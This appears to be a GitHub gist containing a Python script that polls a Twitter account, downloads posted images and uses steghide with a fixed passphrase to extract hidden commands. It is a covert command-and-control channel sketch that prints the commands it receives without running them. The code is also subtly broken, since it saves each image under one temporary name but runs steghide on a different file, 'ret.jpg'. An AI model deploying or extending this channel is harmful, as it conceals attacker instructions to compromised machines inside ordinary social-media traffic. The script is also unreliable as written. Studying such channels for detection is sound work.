Skip to content

Instantly share code, notes, and snippets.

@dvas0004
Last active October 13, 2016 15:21
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dvas0004/1e634b8f04c16710351ec10d0253e493 to your computer and use it in GitHub Desktop.
Save dvas0004/1e634b8f04c16710351ec10d0253e493 to your computer and use it in GitHub Desktop.
import twitter
import cPickle as pickle
import shutil
import subprocess, os
stegPasscode = 'helloWorld'
consumer_key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
consumer_secret = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
access_token_key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
access_token_secret = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
user = 'davevassallo6'
nothing_new=True
try:
last_id_retrieved = pickle.load(open("/tmp/twitter_steg_id.p", "rb"))
except:
last_id_retrieved = None
api = twitter.Api(consumer_key=consumer_key,
consumer_secret=consumer_secret,
access_token_key=access_token_key,
access_token_secret=access_token_secret)
if last_id_retrieved:
statuses = api.GetUserTimeline(user, since_id=str(last_id_retrieved))
else:
statuses = api.GetUserTimeline(user)
for s in statuses:
try:
if s.id == last_id_retrieved:
continue
else:
last_id_retrieved = s.id
nothing_new=False
dest = open('/tmp/tesSDJD', 'wb')
f = twitter.twitter_utils.parse_media_file(s.media[0].media_url)[0]
shutil.copyfileobj(f, dest)
dest.close()
result = subprocess.check_output(
["steghide", "extract", "-f", "-sf", "ret.jpg", "-p", stegPasscode, "-xf", "/dev/stdout"])
print "Got some commands: {}".format(result)
except:
continue
try:
pickle.dump(last_id_retrieved, open("/tmp/twitter_steg_id.p", "wb"))
os.remove('/tmp/tesSDJD')
print 'Done'
except:
if nothing_new:
print "Nothing New"
else:
print "Done without saving state or cleanup"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment